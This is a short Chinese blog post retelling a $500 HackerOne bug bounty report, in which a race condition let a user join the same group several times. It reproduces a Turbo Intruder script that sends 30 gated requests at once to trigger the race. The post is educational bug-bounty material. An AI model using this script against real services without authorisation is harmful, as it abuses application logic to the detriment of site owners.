前言:
很多经常挖洞的都知道hackerone这个国外平台,国内的src只能用SunnyBoy的首字母形容,国外的挖洞给的钱基本是国内的十倍。那么我们平时就可以多看看国外的一些漏洞报告,来看看都有哪些给钱,同时也可以学习学习他们的思路。下面是一个五百美元的漏洞,我想这个在国内都不会理会吧。
该报告中,使用了burp的一个插件Turbo Intruder
插件介绍如下
https://www.freebuf.com/sectool/195912.html
报告中是使用
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=100,
requestsPerConnection=100,
pipeline=True
)
# the 'gate' argument blocks the final byte of each request until openGate is invoked
for i in range(30):
engine.queue(target.req, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
其实就是通过条件竞争的方式,进行数据包发送,这里也可以不使用插件,直接使用burp进行爆破发包。
这里造成的影响就是,会允许用户多次加入同一组,虽然危害性很低,但是算是一个逻辑性的漏洞,同时对方愿意接受这个漏洞并且付费。
该漏洞赏金为500美元。